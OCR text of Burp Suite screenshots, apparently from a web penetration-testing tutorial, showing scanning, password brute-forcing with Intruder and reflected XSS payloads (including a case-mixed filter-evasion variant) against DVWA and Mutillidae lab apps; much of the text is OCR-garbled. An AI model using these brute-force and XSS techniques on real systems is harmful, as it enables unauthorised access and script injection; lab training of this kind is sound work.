_[Targd I_H‘ xy | Spider ] Scanner Tlmmder T Repeater T Sequencer IDecnder ] Comparer TExtender IPrniect options T User options TAlerts

[ site map [ scope |

| Filter: Hiding out of scope and not found items: hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

@
¥ (@ httpy172.16.69.128 Contents Issues
= : Host | Methad | URL @) Cleartext submission of password
.
. ;k dxa http:if172.16.69.128 GET Jmutillidae/ . ) Password field with autocomplete enabled
» B icorm httpy/172.16.69.126  GET mutilidse/rpage= Cookie withaut Hitponly flag set
| o matil httn:]172.16.60.128  GET Jmutillidae/?pag i Cross-domain Referer leakage
'.é"f M8 @ http://172.16.69.128/mutillidae 72.1669.128  GET  jmutilidse/?pag i Private IP addresses disclosed
» BB doc Remove from scope 72.16.69.128  GET Jmutilidae/fpage=1 i HTML does not specify charset )
D) frarl  Spider this branch 72.16.69.128  GET jmutilidae/?page=4 | |* i Frameable response (potential Clickjacking) [3]
O fune e 72.16.69.128 GET jmutilidae/?page=1 »  Path-relative style sheet import [3]
B ima N N Py 72.16.69.128 GET /mutillidae/?page=1
» & inde} 72.16.69.128 GET mutillidae/?page=1
> i Java Engagement Search mutillidae/docume’y
[ set- Compare site maps Find comments T
Expand branch Find scripts —
» [ stylg ind scripts -
» B8 ocops Expand requested items Find references J.Nivllury i ICE Iﬁesponse ] —
» [ phpMy, C°|I|3P5: branch Analyze target 8
» [ rdiff Delete branch Discover content ] E S
* 5 twiki Copy URLs in this branch Schedule task r ! Cookie without HttpOnly fl
> view Copy links in this branch Simulate manual testing
Save selected items . Issue; Cookie without HttpOnly flag set
‘ gent: Mozilla/5.0 (compatible; MSIE .
ssues b d NT 6.1: Win64; x64: Severity:  Low
. = tnsog? - 1; Wing4; xo4; Confidence: Firm
i g tj i 1 Host: http://172.16.69.128
Show new site map window ?OR- L path: /mutillidaes
ErereElEls r: http://172.16.69.128/
Issue detail
The following cookie was issued by the application an
have the HttpoOnly flag set:
# PHPSESSID
The cookie appears to contain a session token, which
increase the risk associated with this issue. You shoul
the contents of the cockie to determine its function.
. | lssue background
v
If the HttpOnly attribute is set on a cookie, then the c(v
search t¢| 0 matches |3

S

[220]



Burp Intruder Repeater window Help

I Target | Proxy | Spider | Scanner T Intruder Tnepeater T Sequencer IDecader Tcamparer T Extender ] Project options Tuser options | Alerts

| [ site map | scope |

| Filter: Hiding out of scope and not found items: hiding €SS, image and general binary content: hiding 4xx respenses: hiding empty folders ‘ L?J
8 http:/f172.16,69.128| Contents Issues
. ’9‘; Host | Method | URL | Params | Sta @) Cleartext submission of password [2]
' dav http/172.16.69.128  GET I O  z20ca [ Session token in URL
- el http://172.16.69.128 GET Jdavi (] 20C 1) Password field with autocomplete enabled
>
» B ::&::hdae http:/172.16.69.128 GET Jdav?C=0:0=A =] 20 (! ] Unan(ryp.tad communications
> r_’oo s http/172.16.69.128  GET ¥ =20 ! Cookie without HttpOnly flag set
Ps http://172.16.69.128 GET =] 20 i Cross-domain Referer leakage
» [a phpMyAdmin i Private IP add disclosed
» B3 rdiff http:172.16.69.128  GET & =20 i Private IP addresses disclose
» B twiki httpif172.16.69.128  GET ¥ 20 * i HTML does not specify charset [3]
E Dt'f‘ ! httpiy172.16.69.128 GET o 20 * | Frameable response (potential Clickjacking) [7]
& view http/172.16.60.128  GET ® 20 » | path-relative style sheet import [4]
http:/172.16.69.128 GET ) 20Cy
FLS 7 T
Request I RBSpU[IS!I ry
m] Headers | Hex z
e L e . Cleartext submission of password
Host: 172.16.69.128 |
User-Agent: Morilla/S.0 (X11; Linux xBS_84; rv:45.0)
Gecku[‘20100101 Firefox/45.0 Issue: Cleartext submission of password
“CQPE‘ 1 Licati - U 1 . Severity:  High
tex;/atm Lapplication/xhtml+xml, application/xml;g=0.9,*/ Confidence: Certain
:q=0. . "
Accapt-Language: enh-US.en:qeD.s Host; http://172.16.69.128
Connection: close
| Issue detail
2 instances of this issue were identified, at the follawing locations:
o /mutillidagfindex.php
® [phpMyAdminj
Issue background
Some applications transmit passwords over unencrypted connections,
making them vulnerable to interception. To exploit this vulnerability, an
: attacker must be suitably positioned to eavesdrop on the vietim's network
traffic, This scenario typically eccurs when a client communicates with the
0 matches server over an insecure connection such as public Wi-Fi, or a corporate or L4
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v @ httpy/172.16.69.128| Contents Issues
u ; Host Method | URL | Params | Statu Cookie without HttpOnly flag set
> .
- dj:va http:/j172.16 69.128 GET Jrotillidas) (] 200 i Frameable response (potential Clickjacking)
» T icons http:/j172.16.69.128  GET imutilidae/?page=ad.. [ 200 Path-relative style sheet import
¥ B rmutillds http://172.16.69.128 GET imutillidas/?page=cr. &) 200
'é_" ] httnu72 1669128 GET iuttillidas/?page=lo... @ zo0
- ';D(ume @ http://172.16.69.128/mutillidae/ ?page=re... & 200
[
D framerh Remnove from scope /tpage=sh.. [ 200
B = /7page=so... 4] 200
» [0 images Spider this branch
+ & index.ph Acti an this il 4 200
o piipinty SN o . /7page=us.. [ 200
I j Pl Passively scan this branch pbinmily f o
Send to Intruder O ey
Send to Repeater Ctri+R
Send to Sequencer Advisory | Request | Response
Send to Comparer (request) N
send to Comparer (response)
Show response in browser - Cookie without HttpOnly flag set
Request in browser >
Engagement tools > . wind lssue Cookie without HttpOnly flag set
Compare site maps MSIE 9.0; Windows Severity:  Low
Expand branch Confidence: Firm
£ 4 Iy Host: http://172.16.69.128
S AR R e L) path: smutillidaes
Delete item
Copy URLs in this branch
Copy links in this branch Issue detail
Copy as curl command The following cookie was issued by the application and does not have the
Save selected items Httponly flag set:
LEL L  PHPSESSID
View >
The cookie appears to contain a session token, which may increase the
Show new site map window risk associated with this issue, You should review the contents of the
Site map help cookie to determine its function.

You have selected 10 itemns for active scanning. Before continuing, you can use the filters below to remove certain
categories of items, to make your scanning more targeted and efficient.

] Remove duplicate iterns (same URL and parameters) [7 items]

scanned (same URL and p rs) [0 items]

itermns [0 iterms]

[] Remove items with no parameters [1 item]

Remove items with media responses [0 items]

[] Rermove itemns with the following extensions [0 items]

js.gif.jpg.png.css

Cancel Next |
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[Target T Proxy | Spider Tscannar T Intruder T Repeater ISEQUEHEEF IDemder TCnmparer IEx‘Ender ] Project options IUser options IA\erts ]

[ Issue activity T Scan queue ] Live scanning T Issue definitions T Options 1

# | Host | URL Status Issues ¥ Requests | Errers |Insertion peints | Start
3 http:ff172.16.69.128 Jmutillidae/ 28% complete 13
1 http:/f172.16.69.128 Jmutillidae; finished 4
2 http:/j172.16.69.128 Jmutillidae/ 55% complete B
6 httpf/172.16.69.128 Jmutillidasf 0% complete 13
4 http//172.16,69.128 Jmutillidae 40% complete 4
5 http://172.16.69.128 Jmutillidaef 0% complete ]
7 http:/f172.16.69.128 Jmutillidaefdocumentation/ finished 7
8 http:/f172.16.69.128 Jmutillidaefdocumentation/ finished 13
9 http:ff172.16.69.128 Jmutilidae/documentation/Mutilidae-Test-Scri...  finished 12
10  http:ff172.16.69.128 Jmutillidaef/documentation/how-to-access-Mutil... finished 13
13 http:f172.16.69.128 Jmutillidaefdocumentationpvulnerabilities php finished 13
14 httpyf172.16.69.128 Jmutillidaefframer.htrml finished 7
15 http:f172.16.69.128 Jmutillidasfimages/ finished 8
16  hrtp:f172.16.69.128 Jutillidaefimages/ finished 12
17 http:f172.16.69.128 Jrutillidaefimages/ finished 13
24 httpyf172.16.69.128 Jmutillidaejindex.php 0% complete 9
25 httpf172.16.69.128 Jmutillidaejindex.php 0% complete 15
26 httpf172.16.69.128 Jmutillidae/findex.php 0% complete B
27  httpyf172.16.69.128 Jmutillidae/findex php 0% complete 10
28 httpyr172.16.69.128 Jmutillidasjindex php 0% complete 15
30  httpy172.16.69.128 sutillidaejindex php 0% complete 15
31 httpyf172.16.69.128 Jmutillidaejjavascripty finished 6
32 http:/f172.16.69.128 Jmutillidaefjavascripty finished 8
33 http:/f172.16.69.128 Jmutillidaejjavascripty finished 13
35 http:/f172.16.69.128 Jmutillidaefjavascriptiddsmoothmenuf finished

36 http:ff172.16 69,128 Jmutilidaefjavascript/ddsmoothmenuf fimished

37  http:ff172.16.69.128 Jmutillidaefjavascript/ddsmoothmenu/ 21% complete 13
43 httpiff172.16,.69.128 Jmutillidaefset-up-database php 0% complete B
44 httpiff172.16,69.128 Jmutillidae/styles) finished [
45 httpiff172.16.69.128 Jmutillidaefstyless 77% complete B
46 hitpij172.16.69.128 Jmutillidaefstyless 35% complete 13
47 httpiff172.16.69.128 Jmutillidae/stylesiddsmoothmenuf 71% complete

48 httpyff172.16.69.128 Jmutillidae/styles/ddsmoothmenu/ 55% complete

49 http:ff172.16.69.128 Jmutillidaejstyles/ddsmoothmenuf 21% complete 13

[EAS
Running (30 active threads)

[223]



[ Issue activity T Scan gueue T Live scanning T Issue definitions I Options ]

Active Scanning Areas

These settings control the types of checks performed during active scanning.

% (=

M sqL injection
] Error-based ) MssQL-specific checks
] Time-delay checks ] oracle-specific checks
¥ Boolean condition checks [ MySQL-specific checks

M 0S command injection

] Informed ] Blind

] server-side code injection

M server-side template injection (requires reflected X55)
) Reflected x5S

V] stored x5S

] Reflected DOM issues

] stored DOM issues

] File path traversal / manipulation

] External / out-of-band interaction

M HTTP header injection

] SMTP header injection

] XML / SOAP injection

M LOAP injection

] Cross-site request forgery

] open redirection

] Header manipulation

W] server-level issues

[ Suspicious input transformation

[ Input returned in response (reflected)

[] Input returned in response (stored)

| selectall || select none |

Raw | Params T Headers Hex

GET /dvwasvulnerabilitiessbrute/?username=adnin&password=payload_here&Login=Login HTTP/1.1
Host: 172.16.59.128

User-Agent: Mozilla/5.0 (X11: Linux xB86_54; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/shtml,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://172.16.69.128/dvwa/vulnerabilities/brute/

Cookie: security=low; PHPSESSID=7Sef88aff3cEd336e90af43cE0dob16e

Connection: close

Send to Spider
Do an active scan
Do a passive scan

Send to Repeater
Sendto Sequencer
Send to Comparer
Send to Decoder
Show response in browser
Reguest in browser
Engagement tools
Copy URL

Copy as curl command
Copy to file

Save item

sert selection

Send to Intruder rl+1

Ctrl+R

rL .
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Burp Intruder Repeater Window Help

"Target Proxy | Spider I Scanner T Intruder T Repeater TSequencer I Decoder TComparer I Extender I Project options I User options IAIems ]

1 = [ 2=

"Target T Positions TPaonads I Options ]

@ Payload Positions Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which
payloads are assigned to payload positions - see help for full details.

Aftack type: | Sniper 7]

GET /dvwa/vulnerabilities/brute/?username=admin&password=8payload_here§&Login=Login HTTP/1.1 N Add§
Host: 172.16.69.128 r

User-agent: Mozillas5.0 (¥11; Linux x86 64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html.application/xhtml+xml, applications/xml; q=0.9,%/%;9=0.8 ﬂj
Accept-Language: en-US,en;q=0.5 e —
Referer: http://172.16.69 128/dvwa/vulnerabilities/brute/ {—Jnuto§

Cookie: security=low; PHPSESSID=75ef88aff3c6d336e90af43c80d9b16e

Connection: close Refresh

=8
v
2 - + = 0 matches Clear
1 payload position Length: 449
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[Target T Froxy I Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Froject options T User options TAIerts ]

1 =« |2 =

Target | Positions | Payloads T Options }

S

Payload set: |1 |- Payload count: 0

Payload type: | Simple list |or Request count: 0

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
Load ...

Remove 4

Clear

Add Enter a new item

Add from list ... ﬂ
Add from list ...
Fuzing - quick
Fuzing - full
Usernames
Passwords n each payload before it is used.
Short words
az

A-Z v

U

)]

Remove

il

Down

-
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Attack Save Columns

J Results T Target T Positions T Payloads T Options ]

| Filter: Showing all items ?
Request |Payload | Status | Error | Time... |Length ¥| Comment
2590 password 200 ] [l 4948 [ ]
0 200 )] [J] 4882 ')
5 Iroot 200 ] [ ass2
5 $SRY 200 ] [J 4882
7 $secures 200 ] [] 4882
g *3noguru 200 | [ ass2
10 AM 200 )] [J] 4882
11 ABC123 200 O [] ass2
12 ACCESS 200 ] [J 4882
13 ADLDEMO 200 O [] 482
14 ADMIN 200 )] [] ass2
15 ALLINL 200 )] [J 4882
15 ALLINL MAIL 200 ] [] 4882 -
1 ALLIBIORIE e Tatal 1 1 ADD7 |
Finished | —
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Attack Sawve Columns

J Results T Target T Positions T Payloads T Options ]

| Filter: Showing all items | ?
Request | Payload | Status | Error | Time... |Length ¥|Comment
2590 password 200 J [] 4948 i
0 200 U ] 4882 ')
5 Iroot 200 O [l ass2
5 $SRY 200 O [ 4882
8 ¥3noguru 200 )] [] 4s82
7 $secured 200 | [ ass2
11 ABC123 200 U [] 4882
10 AL 200 U ] 4882
13 ADLDEMO 200 UJ [] ass2
12 ACCESS 200 U ] 4882
18 AM 200 U ] 4882
14 ADMIN 200 U ] 4882
15 ALLINL 200 O [] 4882 -
1 ALLIBIORIE ann 1 1 FT-1-1e1 y
Request | Response
J Raw T Params I Headers | Hex
GET /dvwa/vulnerabilities/brute/Pusername=adninépassword=password&login=Login HTTP/1.1 A
Host: 172.16.69.128
User-Agent: Mozillas/5.0 (X11; Linux x86_64; rv:45,0) Gecko/201001C1 Firefox/45.0
Accept: text/shtml,applicationsxhtml+xml,application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.69.128/dvwa/vulnerabilities/brute/
Cookie: security=low; PHPSESSID=7Sef88aff3c6d336e90af43c80doblEe
Connection: close
v
? [LJ w = 0 matches
Finished [ —
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[Target I Proxy I Spider I Scanner I Intruder T Repeater T Sequencer T Decoder TComparer T Extender I Project options I User options IAIer‘ts }

Comparer

the comparison you want to perform.

Select item 1:

This function lets you do a word- or byte-level comparison between different data. You can load, paste, or send data here from other tools and then select

# | Llength | Data | Paste |
1 4948 HTTP/1.1 200 OKDate: Fri, 03 Mar 2017 17:35:55 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/S.2.4-.,  —
2 4882 HTTP/1.1 200 OKDate: Fri, 03 Mar 2017 17:3%:27 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-.., Load

Remove
Clear

Select item 2:

# | Length | Data
1 4948 HTTP/1.1 200 OKDate: Fri, 03 Mar 2017 17
2 4882 HTTR/1.1 200 OkDate: Fri, 03 Mar 2017 17
Compare
‘Words
| Bytes |
Length: 4,948 @ Text O Hex  Length: 4,882 @ Test (0 Hex

<div class="body_padded">
<hL>Vulnerability: Brute Force</hl>

<div class="winerable_code_area“>
<h2=Login</h2=

<form action="#" method="GET">
Username: <br=<input type="text* name="usermname"=<br>

name="password"><br=
<input type="submt" value="Login" name="Lagin"=
<fforms=

B FERE password area Ip: g
srem*hitp:/172.16.123, ipg* /=

=/div=

<ha=More info=/hz>
B
<li=<a

Password:«br==<input type="password* AUTOCOMPLETE="off*

<dwv class="body_padded">
<hl>Vulnerability: Brute Force</hL=

<dw class="winerable_coda_area">
<h2=Login</h2=
<farm action="#" method="GET">

Username: <br=<input type="text* name="usemame"><br>
Password:<br><input type="password" AUTOCOMPLETE="off*

name="password"><br>
<input type="submit* value="Login* name="Login">=
<Marm=

- pre><br ~Username andjor passacrd incorrect. </pre>
<idiv>

<h2=More info<hiz>
<ul>
<lim<a
hrefmrhittp: (hider efer. com/?http: fwww. owasp.orglindex. phpiTasting_for_Br
b
-

Key: |Modified) IDSEEEE Added

(] sync vews
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HTTP/1.1

Host: 172,16.69,128

User-Agent: Mozilla/5.0 (X11; Linux xBE_B4;
Firefox/45.0

Accept:
text/html,application/xhtml+xml,application/xml:q=0.9,%/%;q=0.8
Accept-Language: en-US,en:q=0.5

Referer: http://172.16.69.128/dvwa/vulnerabilities/xss_r/

Cookie: security=medium; PHPSESSID=75ef88aff3c6d336e90af43c80d9h16e
Connection: close

rv:45, 0) Gecko/20100161

<pre=Hello alert{‘xss’)</script=</pre>
</div>
<h2=More info</h2=

<ul>

<liz<a
href="http://hiderefer.com/?http: //ha.ckers, org/xss, html"
target="_blank">http://ha.ckers.org/xss. html</z></1i>

<li=<a
href="http://hiderefer.com/?http: //en . wikipedia.org/wiki/Cross-site_s
cripting"

GET /dwwa/vulnerabilities/xss_r/?name=Hutch HTTP/L.1 &
Host: 172.16.69.128 e
User-Agent: Mozilla/S5.0 (X11; Linux x86 64; rv:45.0) Gecko/20100161 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9.%/%;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.69.128/dvwa/vulnerabilities/xss_r/ d id
Cookie: security=low; PHPSESSID=7Sef88aff3c6d336e90aT43c80dgb16e 2Ll i Al
Connection: close Do an active scan
Do a passive scan
Send to Intruder Ctri+l
1d t E
Send to Sequencer
Send to Comparer
Send to Decoder
Show response in browser
Reguest in browser »
Engagement tools >
Copy URL
Copy as eurl command
Copy to file
Save item
Convert selection 3 -
. ut Ctri+X L
? < + > T - - 0 matches
Request Response
Raw | Params | Headers | Hex | Raw | Headers | Hex | HTML | Render |
GET /dvwa/vulnerabilities/xss_r/?name=<('/")> HTTP/1.1 i i
Host: 172.16.69,128 - <pre>Hello <('/")></pre> r
User-Agent: Mozilla/S.0 (X11; Linux x86 64; rv:45.0) Gecko/20100101
Firefox/45.0 </div>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/* q=0.8
Accept-Language: en-US,en;q=0.5 <hZ>Hore info</hZ=
Referer: http://172.16.69.128/dvwa/vulnerabilities/xss_r/
Cookie: security=low; PHPSESSID=752f88aff3c6d336e90af43c80d9b16e <ul>
Connectlon: close <li><a
href="http://hiderefer.con/?http://ha.ckers,org/xss.htal*
target="_blank">http://ha.ckers.org/xss htnl</a></11>
<liz<a
href="http://hiderefer . com/?http: //en.wikipedia.org/wiki/Cro
ss-site_scripting”
" PRI DI Y lieods L s
Request Response
Raw I Params THeadels THex ] Raw I Headers THex T HTML T Render 1
GET /dvwa/wulnerabilities/xss_r/?name=<script>alert(’'xss')</script> . s
P r
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Request

Raw I Params THeaders THex]

Response

Raw I Headers THex THTML TRenderw

GET /dvwa/vulnerabilities/xss_r/?name=<ScRiPt>alert('xss’)</script> a A
HTTP/1.1 2 <pre>Hello <ScRiPt=alert('xss’)</script></pres> .
Host: 172,16,69,1
User-Agent: Muzﬂla/S © (X11; Linux xB6_64; rv:45.0) Gecko/20106161 </div>
Firefox/45.0
Accept: <h2=Hore info</h2>
text/html, application/xhtml+xml, application/xml; q=0.9,*/%;q=0.8
Accept-Language: en-US,en:g=0.5 <ul>
Referer: http://172.16,69,128/dvwa/vulnerabilities/xss_r/ <li><a
Cookie: security=medium; PHPSESSID=75ef88aff3c6d336200aT43c80do0 16 href="http://hiderefer.com/?http: //ha.ckers.org/xss html"
Connection: close target="_blank">http://ha.ckers.org/xss.html</a></11>
<lis<a
href="http://hiderefer.com/?http: //en.wikipedia.org/wiki/Cross-site_s
cripting”
target="_blank"=http://en.wikipedia.org/wiki/Cross-site_scripting</a>
Request Response
Raw | Params | Headers | Hex Raw | Heade Hex | HTML | Render
GET /dwwa/vulnerabilities/xss_r/?name=<ScRiPt>alert('xss')</script> i ']
HTTP/1.1 <pre>Hello <ScRiPt=alert('xss')</script></pres> »
Host: 172.16.69.128
User-Agent: Mozilla/s.® (X11: Linux x86_64; rv:45.0) Gecko/20106161 </div>
Firefox/45.0
Accept: Send to Spider nfo</h2>
text/html,application/xhtml+xml,application/xml;q=0.9, %/ Do an active scan
Accept-Language: en-US,en:g=0.5
Referer: http://172.16.69.128/dvwa/vulnerabilities/xss_r/ Do a passive scan i»<a
Cookie: security=medium: PHPSESSID=7Sef88aff3c6d336e00af4. Send to Intruder Ctrl+l  refer.con/?http://ha.ckers.org/xss.htal®
Connection: close Send to Repeater Ctri+R [tp://ha.ckers.org/xss. html</a=</11>
is<a
SRR SHEREIECR efer.con/Phttp: //en. wikipedia.org/wiki/Cross-site_s
Send to Comparer
Send to Decoder tp://en.wikipedia.org/wiki/Cross-site_scripting</a>
Show response in browser
In original session rity.com/xss-faq.htnl"
Engagement tools * | In current browser session p-faq.htel</az</1i>
Change request method
Change body encoding
Copy URL <br />
Copy as curl command <br /=
Copy to file
Paste from file </dive
Save item \
Request Response
Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML | Render

GET /dvwa/vulnerabilities/xss_r/?name=<ScRiPt>alert('xss')</script>
HTTP/1.1

Host: 172.16.69.128
User-Agent: Mozillas5.0 (X11:
Firefox/45.0

Accept:

text/htnl, application/xhinl+xnl,application/xnl;q=0.9,*/*;g=0.8
Accept-Language: en-US,en;q=0.5

L3

Linux x86_64; rv:45.0) Gecko/20100101

Referer: http://172.16.69. 128fdwafvu1nerahlhnesf;ss r/
Cookie: security=medium; PHPSESSID=7" "=~ ———— .
Connection: close Repeat request in

To repeat this request in your browser, copy the URL below and paste into a
browser that is configured to use Burp as its proxy.

http://burpirepeat/l/hodSotetapvbvkzhvwpewr06kduzdw24

[ In future, just copy the URL and don't show this dialog

T

<pre>Hello <ScRiPt=-alert('xss')</script></pre>
</dive
<h2=Hore info</h2=

<l
<liz<a

-ckers.org/xss. html"
browser

. 55 html</ax</11>
.wikipedia, org/wiki/Cross-site_s
rg/wiki/Cross-site_scripting=/a=

Copy

Close

.cgisecurity.com/xss-fag. html"
y.con/xss-faq. html</a></1i>

r
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@ i) | 172.16.69.128/dvwalvulnerabilities/xss_r/?name=<ScRiPt=alert(xss)</script> x ||Q Search v B 9 3 A

Most Visited v ] Offensive Security "% Kali Linux “§ Kali Docs "8 Kali Tools EBExploit-DB Wy Aircrack-ng
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[ rargst T Prasy | seider | scarnes | intrudar | Repester | Sequencer | Dacader | Comparer | Estandar | Project cptions | User options | Atk

rtarcept | HITP history | WabSocoets histary | Options

| Fiker: Hiding C55. image and general binary contant

@
= a|Hest | Mathed | uRL Params | Edted | Status | Length | MIMEty. | Extansion | Tk Commart | s5L [P | Cookies Tma | Listenar port |
1 Hipii721669128 GET  IphpMyAdmind B O s s O 1maisssizm OEz3186. 8080
2 k721669128 GET  iphpMyAdminiphpyadmincesp.. @) O 304 38 uML g O 1721669128 0223186 6080
7 hpfl721€E9128 GET  [phpMyAdmind ju} O 34 =13 O 17218128 CEMATE. 8080
B hipl721669128 GET  [phpMyAdminiphpryadmincssp.. @ O 34 318  HML g O 1721669128 0B2407E.. 8080
13 hitpiphe.net GET Irmerypt =] o L wnknonn host OB:24:126.. 9080
[ Reauest | response |
f Params | Hasders | Hax

GET /phettyAdman/ ATTP/3 1 x
Hest: 172 16 69,128 -
Usar-Agent: Mozilla/s.0 (X11; Limux 28664, rvi43.0) Gecko/20109101 Firefox/45.0
Accest: text/htal,soplication/shtalrenl soplicat ion/anl 0.9, %/ a=0.8
Accept-Langusge: en-US, en; o
Referer: http://172.15. 69, 128/
Coakie: pma_L -8; pma -8; ot i 1o ; pma_theneoriginal; pma_fontsize B2
Connection: close
If -Hodified-Since: Tue, 09 Dec 2008 17:24:00 Gl P
Cache-Control: max-age=d Lo

00 a pazsive scan

Sand ta Intruder Ctrisl

Sand o Repeater chrtth

Serd to Sequencer

Serd ko Comparer

‘Show resparas in brawzer

Ranusst in browser >

Engagement tols S

Copy URL

Copy a3 curl cammand

Copyta fie

Save tem

Gorwert seletion >

Copy e

Massags sciter halp

Praxy history help

-
v

2y (=) [y =y - Omatches
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Burp Intruder Repeater Window Help

Target T Proxy T

Spider T

Scanner

Intruder

Repeater T Sequencer Comparer

| Decoder |

T Extender T

Project options

|

User options T Alerts

52824

@ Text () Hex @

[ Smart decode J

82%

@ Text () Hex
Decode as ... -
Encode as ... -

[ Hash ... v

[ Smart decode J
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HTTP/1.1 200 0K

Date: Mon, @5 Mar 2017 13:41:00 GMT

Server: Apache/s2. 2.8 (Ubuntu) DAV/2

¥-Powered-By: PHP/S. 2. 4-2ubuntusS. 10

Expires: Thu, 19 Nov 1981 82:52:00 GMT

Logged-In-User:

Cache-Control: puklic

Pragma: public

Set -Cookie: PHPSESSID=09bcfede3abicf4fbfIc99ef24736702; pathes

Last-Modified: Mon, 86 Mar 2017 13:41:08 GMT
Connection: close

Content-Type: text/html

Content-Length: 24255

<i-- I think the database password is set to blank or
It depends on whether you installed this web app from
are using it inside Kewin Johnsons Samurai web testing
t is ok to put the password in HTHL comments because
this comment., I remember that security instructor sayi
framework comment symbols (ASP.MET, JAVA, PHP, Etc.)
rather than HTHL comments, but we all know those
security instructors are just making all this wp, -->

<IDOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//El ttp S fvww, w3,

<html>

<head>

<meta content="text/html; charset=us-ascii" http-equiv="content-type"3

<link rel="shortcut icon" href="favicon. ico® type="image/x-icon" ;=

<link rel="stylesheet" type="text/css" href=". /styles/global -styles.cq
“link re styleshaet" type="text/css" href Sstyles/ddsmoot hmarnu/ddg
<lirk rel="styleshzet" type="taxt/css" href=". /styles/ddsmoothmaru/dds

=script type="text/javascript" sre=". /Javascript/bookmark-site. js"==/g

Zscript type="text/javascript" sre=". /Javascript/ddsmocthmenu/ddsmoott

Send to Spider

Do an active scan

Do a passive scan

Send to Intruder Ctri+
Send to Repeater Ctri+R

Send te Comparer

Send to Decoder

Show response in browser

Request in browser >
Engagerment tools

Copy URL

Copy as curl command

Copy to file

Save term

Convert selection >
Cut Ctri
Copy Ctr+-C
Paste Ctrl+v

bse. dtd">

(?) Token Location Within Response

Select the location in the response where the token appears.

(® Cookie: L PHPSESSID=09bc0edezab0cfafbiac ...

-

Form field:

() Custormn location:

Configure
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Overall result

The overall quality of randomness within the sample is estimated to be: excellert.
At a significance level of 1%, the amount of effective entropy is estimated to be: 122 bits.

Effective Entropy

The chart shows the number of bits of effective entropy at each significance level, based on al tests. Each significance level defines a minimum prabability of the cbserved results occurring if the samele is
randormly generated When the probabiity of the observed results occurring falls below this level, the hypothesis that the sample is randomly generated is rejected. Using a lower significance level means that
stronger evidence is required to reject the hypothesis that the sample is random, and so increases the chance that non-random data wil be traated as randem.

=10%

Significance level

*0.1%

=0.01%

=0.001%

T
o 10 z0 a0 40 50 &0 70 80 30 100 1o 120

Humber of bits of entropy
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Bup Intruder Repester Windam Help

T D e e T T e T |

[ estansians | Store | APIz | Options

BApp Store

Tha BAgp

by wsars of Burp Suits, to astend BUIp's capabiltias.

Datal

NET Baautifiar
AES Payloads
Active Scant-+
Additonal Scarner Cheds

Backslash Powered Scanner
Bakch Scan Report Gener...
Blozer

EurpSmartBuster
Bymass WAF

coz

CSP Audtor
C3F-Bypass

CSRF Scanner
ESRF Token Tracker
CSurfer

Cartent Type Converter
Copy As Pythan-Alequests
Custom Lagger

Custom P arameter Handler
CustomBesarialzar
Decompressor

Dietact Dynamic |5
Distributs Damage

Dradis Framework:

Elastics

Error Message Chacks
EsPReSSO

ExtandedMacra

Faraday

Flow

GWT Insartion Poirts

Git Bridge

Google Hack

HTMLS Aucltar

HTTP axy Scarnar

H
DO000000000D00000DC00DOCOD00000000000N00000oDDoa0) z

Pra axtension

Pra extension
Pra extension

Pro axtension

Fra extension

Fro axtension

Pra extension

Pra extension

Pra astension
Pra axtension

E| | -NET Beautifier

This extension beautifies NET et ke the body eber [ dable Buk-r pacameters ke _VIEWSTATE have ther vales masked Form field
names have the suto-generated part of ther name removed

Requeasts are only beautified in contexts whara thy can be sdted, such as the Proxy intercept view

For axampls,  NET reguast with tha folowing body:

__VIBWSTATE-\20iATHF iohzdoiq) KLASg] gha kl i SD6=) gl S01g95010adg) S61005azdf jadsd; fasdf jalsdf ia
(1000 Line= later] .
Sct100424ct1 00424 Inner Content Pl aceiol dar24E enent _4224ct100V24F rrLogir 24 TxtUsername_intam
userranesct] 6% 24c ] 60424 IrnerCont ent Pl ac eHol der
vord_internal=passrordic tLEMA24c tLOA2A Enner Cont entPlaceHol derA24ELenent_4Z424c100%248 L ogi

reLagin
willbe daplayed e tha:

__VIBNSTATE=ET: internal 4 pa Legin

This is dena without 0 you can adit paramater vaksas and the request wil ba correctly raconstructed. ¥ ou can dso

/| sandthe baatified massages to othar aurpmm and thay wil ba handlad corractly.

Rating: Ydrdrdedr | Susmessting

@

Peafrash kst Marnal nstal ..
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Bup Intruder Repeater Window Help

| rarget | Prasy | Spidsr | Scanner | irkradse | Rapaster | Seausncer | Decoder | Comparsr | Estendar | Proisct options

user cptions | alsets |

(e [atemsim o orie |

BApp Store

Tha BAgp Stere cartains Burp extansions that hava baen written by users of Burp Suits, to axtend Burp's capabiltios.

Jawa Serial Kilar
Jawa Sarislizad Fayloads
Kerbaro Authantication
Lar

Lergth Extension Attacks
Loggert+

Marnual Scan 1ssues
MazzageP ack
MathOdldan

MindM ap Exparter
MMAP Parser

Hates

FDF Metadata

PDF viewsr

Paramalyzer

Parrathic

P ayload Parser

Peap Importer

Protobuf Decoder
Pythan Scripber

Fandorn IF Address Header
Rafacted Fla Dowrload C...
Frefacted Parametars
Ressue Request Scripter
Regort To Elastic Search
Reauest Randesnizer
Fsquest Timer

Fesponsa Clustarar
Retrejs

Reverse Proxy Detector
SAML Editor

SAML Encodar | Dacoder
SAML Raidar
SAMLReOuest

s0LPy

S arme Origin Method Exec .
S entinal

Session Auth

Session Timeout Test
Ska Map Fetcher
Seftnare’

PO000O0000000DOC0000000D0000DD0000000000000ooDon

Mame & Instaled | Rating Dl
=
Issum Poster Fro extension
JEEESCan Pro estension
JSON Dacodsr
J5WS Parser
VM Progarty Edear
Jawa Deserislization Scann... Pro extension

Pra extension

Pra axtension

Pra extension

Pra axtansion

Pra axtansion

Pro extension

Pra extension

Pro extension

Logger++

This extension can be used ta log the requests and responses made by all Burp toals, and display thermin & sortable table. 1t can also save the logged datain C5V farmat.
